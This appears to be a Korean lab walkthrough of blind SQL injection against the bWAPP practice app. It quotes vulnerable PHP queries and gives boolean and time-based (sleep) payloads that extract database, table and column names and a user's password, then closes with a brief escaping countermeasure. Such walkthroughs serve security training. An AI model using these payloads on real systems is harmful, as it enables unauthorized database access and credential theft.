- 이 글을 무단으로 전재 및 재배포를 금지하고 있습니다.
- 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 본 내용을 악의적인 목적으로 사용 시 그에 대한 법적 책임을 포함한 모든 책임은 당사자에게 있으며, 작성자는 어떠한 책임도 지지 않음을 밝힙니다.
Blind SQL 인젝션
쿼리의 결과를 참과 거짓으로만 출력하는 페이지에서 사용하는 공격
데이터베이스의 내용을 추측하여 쿼리를 작성
-sqli_4.php 소스 중
$sql = "SELECT * FROM movies WHERE title = '" . sqli($title) . "'";
if(mysql_num_rows($recordset) != 0)
{
echo "The movie exists in our database!";
}
else
{
echo "The movie does not exist in our database!";
}
' or 1=1 and length(database())=5#
-- 실제 쿼리문 대입 시 아래와 같음
SELECT * FROM movies WHERE title = '' or 1=1 and length(database())=5#'
*SQL에서 AND가 OR보다 우선순위가 높다.
출처 및 참고하면 좋을 링크: https://goguri.tistory.com/460
즉 아래와 같이 실행
SELECT * FROM movies WHERE (title = '' or (1=1 and length(database())=5))#'
' or 1=1 and substring(database(),1,1)='b'#
--> database명은 b로 시작되는 것을 알 수 있음
' or 1=1 and ascii(substring(database(),1,1))=98 #
--> 작은 따옴표가 필터링으로 막힌 경우에 유용한 ascii함수
--
' or 1=1 and ascii(substr((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) > 100 #
해석
table_type='base table' 일반테이블만
table_schema='bWAPP' bWAPP DB에 있는 테이블 중
limit 0,1 결과값 에서 상위에서 1개만
substr (문자열,index, 문자열, 시작 위치값, 길이값
length)
ascii() 아스키값으로 변환
*String -> ascii 변환 사이트 : www.easycalculation.com/ascii-hex.php
**응용**
-- 네번째 테이블이 users 라는 것을 알 수 있음
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 3,1),1,1)) = 117 #
--> u
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 3,1),2,1)) = 115 #
--> us
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 3,1),3,1)) = 101 #
--> use
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 3,1),4,1)) = 114 #
--> user
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 3,1),4,1)) = 115 #
--> users
**비밀번호 원문이 아닌 해시값이 저장되어 있을 경우 어떤 해시 함수를 사용하는지 확인 방법
--md5
' or 1=1 and md5("bug") = (select password from users where login='bee')#
--sha
' or 1=1 and sha1("bug") = (select password from users where login='bee')#
참, 거짓에 상관없이 검색 결과가 모두 동일한 메시지를 출력할 때, 참을 구별하기 위하여 sleep 함수를 사용함(), 참과 거짓일 때 다른 반응을 출력
--sqli_15.php 소스 중
$sql = "SELECT * FROM movies WHERE title = '" . sqli($title) . "'";
--거짓 [무지연]
' or length(database())=4 and sleep(3)#
-- 참 [3초 지연]
' or length(database())=5 and sleep(3)#
--두번째 테이블이 h로 시작하는 것을 알 수 있다.
' or ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 1,1),1,1)) = 104 and sleep(1)#
--테이블명이 'heroes'라는 정보를 알게 된 후
2번째 컬럼명 첫글자 조회 = login
' or substring((select column_name from information_schema.columns where table_name='heroes' limit 1,1),1,1) = 'l' and sleep(1)#
--heroes 테이블의 login 컬럼 정보를 알게 된 후
3번째 컬럼명 첫글자 조회 = password
' or substring((select column_name from information_schema.columns where table_name='heroes' limit 2,1),1,1) = 'p' and sleep(1)#
--사용자의 아이디가 neo인 password 길이 조회 = 7
' or length((select password from heroes where login='neo'))=7 and sleep(1)#
--사용자의 아이디가 neo인 password의 첫번째 글자 = t
' or substr((select password from heroes where login='neo'),1,1)='t' and sleep(1)#
인젝션으로 알아낸 id와 비밀번호[neo/trinity] 대입 후 로그인 성공
🔑대응방안
SQL 문법에서 사용하는 특수 문자가 있을 경우 백슬래시를 붙이는 등 입력 데이터를 SQL 문법에서 인식하지 않게 방어
PHP는 mysql_real_escape_string 함수를 사용하여 NULL, \n, \r(맨 앞이동), ', ", ^Z 특수문자를 우회함